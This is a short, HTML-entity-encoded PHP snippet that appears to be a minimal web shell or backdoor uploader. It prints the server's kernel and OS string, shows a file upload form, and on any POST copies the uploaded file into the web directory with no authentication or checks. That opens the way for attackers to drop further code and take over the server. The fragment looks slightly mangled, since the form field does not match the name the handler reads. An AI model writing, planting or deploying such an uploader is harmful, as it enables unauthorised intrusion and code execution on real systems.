echo &#039;&lt;pre&gt;&#039;.Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64.&quot;\n&quot;.&#039;&lt;br/&gt;<form><input type=file><input type=submit></form>&#039;;if($_POST){if(@copy($_FILES[&#039;__&#039;][&#039;tmp_name&#039;], $_FILES[&#039;__&#039;][&#039;name&#039;])){echo &#039;OK&#039;;}else{echo &#039;ER&#039;;}}